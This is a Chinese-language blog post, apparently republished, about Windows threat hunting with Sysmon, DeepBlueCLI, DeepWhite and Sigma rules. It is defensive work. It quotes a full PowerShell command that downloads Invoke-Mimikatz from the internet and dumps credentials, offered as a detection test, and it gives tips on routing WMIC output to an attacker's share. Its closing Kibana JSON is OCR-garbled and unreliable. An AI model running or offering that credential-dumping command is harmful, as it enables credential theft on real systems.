通过 Sysmon 进行威胁狩猎(Threat Hunting)(二)
2023-4-8 08:49:56 Author: Desync InfoSec(查看原文) 阅读量:90 收藏

通过 Sysmon 进行威胁狩猎(Threat Hunting)(二)

DeepBlueCLI:sysmon分析工具介绍

1.DeepBlueCLI的功能

DeepBlueCLI是一个 PowerShell 框架,用于通过 Windows 事件日志进行威胁狩猎。

•可以处理 PowerShell 4.0/5.0 事件日志

位于:https://sec511.com/bj

• 处理本地事件日志或 evtx 文件

o为它提供 evtx 文件,或通过 Windows 事件日志收集解析实时日志

o 可以在 Windows 事件日志收集器上集中处理日志

• PowerShell 实例中输出 DeepBlueCLI

o 可以通过方式传输到 Format-List清单、Format-Table表格、Out-GridView显示数据表格、 ConvertTo-CSV转换成csv、ConvertTo-HTML转换成html 等

DeepBlueCLI 支持检测的部分事件列表
        •长命令行
            o 通过 Sysmon 日志或 Windows 安全事件 4688
        • 长 PowerShell 命令
        • 匹配 PowerShell 和 CL 的正则表达式
        • Base64 编码命令行或 PowerShell
        • 压缩/base64 编码 CL 或 PowerShell
        • PowerShell Net.WebClient
        • 混淆命令
        • PowerShell 通过WMIC 或 PsExec
        • EMET 和 AppLocker 块
        • 可疑服务创建
        • 服务错误
        • 用户创建和用户添加到本地/全局管理员组
        • 大量登录失败
        • 通过 DeepWhite 检测应用程序白名单

2.DeepBlueCLI的使用

【温馨提示】由于powershell的默认执行策略为严格,拒绝所有.ps脚本执行,因此需要修改下策略。

Get-Executionpolicy
Set-Executionpolicy Remotesigned

常用命令

处理本地 Windows 安全事件日志(PowerShell 必须以管理员身份运行):

.\DeepBlue.ps1
.\DeepBlue.ps1 -log security

处理本地 Windows 系统事件日志:

.\DeepBlue.ps1 -log system

处理 evtx 文件:

.\DeepBlue.ps1 .\evtx\new-user-security.evtx

    如下图,输入一个SMB爆破的日志文档,可以输出爆破的次数,账户名信息等

    下图为检测mimikatz hashdump后清除日志的记录,提示清除的用户为student。

    下图为检测经过混淆的powershell命令行的结果。

    (以上文件都是作者提供的练习的日志文件,数据源都来自于windows的事件日志,感兴趣的可以自己下载使用)

2.1DeepBlue CLI:Base64 或压缩命令的命令检测

DeepBlueCLI 尝试自动检测 base64 编码的命令,并自动解码它们

• 如果命令被压缩(Metasploit 样式),它也会解压缩它们

• 在这两种情况下:然后它将扫描规范化命令以查找恶意正则表达式匹配

用例:Petya

    在 SMB 漏洞利用失败的情况下,Petya 会尝试使用本地用户帐户下的 PsExec 进行传播。它还运行经过修改的 mimikatz LSAdump 工具,用于在内存中查找所有可用的用户凭据。    

    它尝试运行 Windows Management Instrumentation 命令行 (WMIC),以使用相关凭据在每个已知主机上部署和执行有效负载。(WMIC 是一个脚本接口,可简化 Windows Management Instrumentation (WMI) 和通过它管理的系统的使用。)

2.2 DeepBlue CLI:WMI和 PsExec检测

检测SamSam 通过 WMI 和 PsExec 传播

在威胁行为者在网段内建立立足点后,他们可以通过本机 Windows 命令(如 NET.EXE)枚举网络上的主机和用户。攻击者利用恶意 PowerShell 脚本加载 Mimikatz 凭证收集实用程序,从而获得对特权帐户的访问权限。通过横向移动和转储额外的凭据,攻击者最终可以获得 Active Directory 域管理员或高特权服务帐户。

有了这些凭据,攻击者就可以感染域控制器,破坏备份,并继续自动瞄准和加密更广泛的端点集。威胁参与者使用批处理脚本和 WMI 或 PsExec 实现程序部署和运行恶意软件。

2.2.1PsExec命令执行分析

(1)测试命令

测试命令为PowerSploit Invoke-Mimikatz命令,一般通过NetWebClient DownloadString加载。

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/

mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz-DumpCreds

(2)分析事件日志视图,查看PsExec执行的PowerShell 命令行

事件通过安全事件 4688(和 Sysmon 事件 1)记录

Telltale 标志(超出命令行):

创建者进程名称:C:\Windows\PSEXESVC.exe

2.2.1 WMIC 分析

    恶意软件越来越多地使用 WMIC 通过窃取凭据并通过“进程调用创建”执行远程命令来横向移动

o 此向量通常用于执行 PowerShell

o 专业提示:编码为 base64 可避免引号和双引号问题

    • 对于测试人员:WMIC 将不在本地显示命令 STDOUT(它显示在远程系统上)

o 避开这个:将输出保存到攻击者控制下的远程共享

o 本地 WMIC 进程具有有限的共享访问权限,无论是否是正在运行的用户

o 共享允许匿名访问

o 有趣的事实:匿名不在“所有人”组中

(1)通过 WMIC 执行PowerShell示例:Invoke-Mimikatz

通过 WMIC执行 PowerShell 示例:Invoke-Mimikatz 的输出

(2)通过 WMIC 执行 PowerShell命令的:事件日志视图

事件通过安全事件 4688(和 Sysmon 事件 1)记录

• 暴露痕迹(通过命令行)Creator Process Name:   C:\Windows\System32\wbem\WmiPrvSE.exe

(3)用例:通过DeepBlueCLI 检测 WMIC 和 PsExec 的 PowerShell

如下图,直接执行命令,使用DeepBlueCLI 可以直接调用内置的检测规则,提示可以的WMIC或者PsExec命令执行行为:

2.3DeepWhite

2.3.1使用DeepWhite

DeepWhite 执行检测性可执行白名单

o 解析以下 Sysmon 事件:进程创建 (1)、驱动程序加载 (6) 和图像/DLL 加载 (7)

o 还可以从 CSV 文件提交哈希列表

• 它自动提交非白名单的哈希到VirusTotal  

o 需要免费的 VirusTotal 个人 API 密钥(限制为 4 次查询/分钟)

• DeepWhite 每 15 秒提交一次哈希

• 可在:https://github.com/sans-blue-team/DeepBlueCLI获取

mimikatz.exe:Sysmon 事件 1,Virustotal 报告

DeepWhite细节如下

注意:对于良性软件,收到 1 次 Virustotal 命中是很常见的

2.3.2 Virustotal的误报

    被攻击者滥用的合法 Microsoft 软件,例如直接从 Microsoft Sysinternals 下载的 PsExec。

    合法软件有时也会被标记

o 通常是因为它未签名(是的,Microsoft 仍然偶尔会这样做)

o ......并被激进的启发式模型扫描

o ......通常来自于一家新的/小公司

2.4 使用sysmon DIY EDR检测设备进行日志分析

基于sysmon和windows日志强大的企业日志记录功能,配合SIEM的大数据存储和分析能力,我们有机会使用完全开源的工具,DIY出一套自己的“探针”+“SIEM”的大数据分析平台。

在检测环节,可以采取手动日志分析和搜索的方式进行威胁的发现。也可以试用对接适配专有格式 SIEM 分析。

2.4.1为工具编写Sigma 规则

(1)问题背景和Sigma规则的优势

在日常的安全工作中,我们经常遇到一下问题:

a.我们有大量数据和大量分析数据的工具,他们是不同的数据格式、不同的仪表板格式等。

b.即使在相同 SIEM 的部署中,也存在字段名称不同 和数据源不同 的差异。

c.我们以不同的日志格式收集到这些日志:例如:Windows 日志、 Syslog、JSON、XML 等

d.我们没有共同的语言来指定分析

那么通常,我们需要使用Sigma 规则来对这些异构的日志进行分析和主力,它有如下的优点:

a.用于分析的高级通用语言 ,迄今为止解决日志签名问题的最佳方法!

b. 支持分析重用和跨组织共享

c. MISP 兼容 - 共享和存储与威胁情报一致

d.将规则逻辑与 SIEM 供应商和字段名称分离

e. 消除 SIEM 部落知识

(2)Sigma如何运作

来自不同设备不同内容的日志,会经过sigma的格式化处理,然后sigma的转换,形成适用于预定义和自定义字段的映射。在此基础上,就能够提供给elastic search或者splunk等大数据平台进行存储和查询。

我们将特征库转换为警报查询的语句,就能顺利的从海量日志中查询出想要的内容。

3)sigma规则格式

sigma规则是一个纯文本 YAML 文件,在简单模式下,通常包含以下字段:

1. 元数据,包括标题、状态、描述、参考、标签等。

2. 日志来源 ,标识日志来自什么类型、品牌和服务?

3. 检测Detection – 检测异常点

4. 条件Condition – 选择器匹配逻辑

2.4.2日志源采集

可选如下分类器:

• 类别:代理、防火墙、AV、IDS • 对于一组产品的所有日志

• 产品:Squid、pfSense、Symantec、Snort、Windows • 对于一个产品的所有日志输出

• 服务:SSH、DNS、DHCP • 对于产品日志的子集 – sshd、named、...

• 描述:关于日志源、配置的其他详细信息

2.4.3 支持的输出

Splunk

• QRadar

• ArcSight

• Elasticsearch(Elastalert、查询字符串、DSL、Watcher 和 Kibana)

• Logpoint

• Qualys

• Windows Defender ATP

• PowerShell

• grep

2.4.4 splunk、kibana检索语句示例

(1)示例:PowerShell 检索语句

为 Rundll32.exe 事件中的 PowerShell 远程线程创建生成 PowerShell 检索语句:

sigmac -t powershell sysmon_susp_powershell_rundll32.yml

用于定位事件的 PowerShell Get-WinEvent 检索语句:

PS:/> Get-WinEvent | where {($_.ID -eq "8" -and $_.message -match "SourceImage.*.*\\powershell.exe" -and $_.message -match "TargetImage.*.*\\rundll32.exe") } | select TimeCreated,Id,RecordId,ProcessId,MachineName,Message

(2)示例:Splunk 检索语句

为 Rundll32.exe 事件中的 PowerShell 远程线程创建生成 Splunk 检索语句:

sigmac -t splunk sysmon_susp_powershell_rundll32.yml

用于定位该事件的 Splunk 检索语句:

(EventID="8" SourceImage="*\\powershell.exe" TargetImage="*\\rundll32.exe")

(3)示例:  Kibana 检索语句

rootubuntu:~/sigma-workshop/sigma# tools/sigmac -t kibana rules/windows/sysmon/sysmon susp powershell rundll32.yml
[
{
"_id":"Powershell-Rundll32-Remote-Thread-Creation",
"type": "search",
"source":{
 "title": "sigma: Powershell Rundll32 Remote Thread Creation",
 "description": "Detects PowerShell remote thread creation in Rundll32.exe",
 "hits":0,
 "columns": [],
 "sort":[
   "@timestamp",
  "desc"
 ],
 "version":1",
 "kibanaSavedobjectMeta":{
"searchSourceJsoN": "{\"index\":\"*\", \"filter\": [],\"highlight\":{\pre_tags\": [ "@kibana-highlighte.fielda "t,i"nost tans ".  "a/kibanahiahliohted.fieldo "1.  "fields ":  " " f11,reauire field matchi". flse, i"fraament size\": 2147483647), i"query ": f "query string ": f "guery ": "EventID: !1"8111" AND Sourcelmagekeyword:* llllllipowershell.exe AND TargetImage.keyword:* lllll1rundll32.exe)\", "analyze wildcard ": true)"
}
}
}
]

参考资料:

https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysmon

https://github.com/sans-blue-team/DeepBlueCLI


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDE3ODc1Mw==&mid=2247485888&idx=2&sn=1be1ccd79c6ee819d16887323f292c9a&chksm=c27f7a6ef508f3783845f79d2339aebd8e9da7004476de1b6505522f35afabe236cef2b2c4d9#rd
如有侵权请联系:admin#unsafe.sh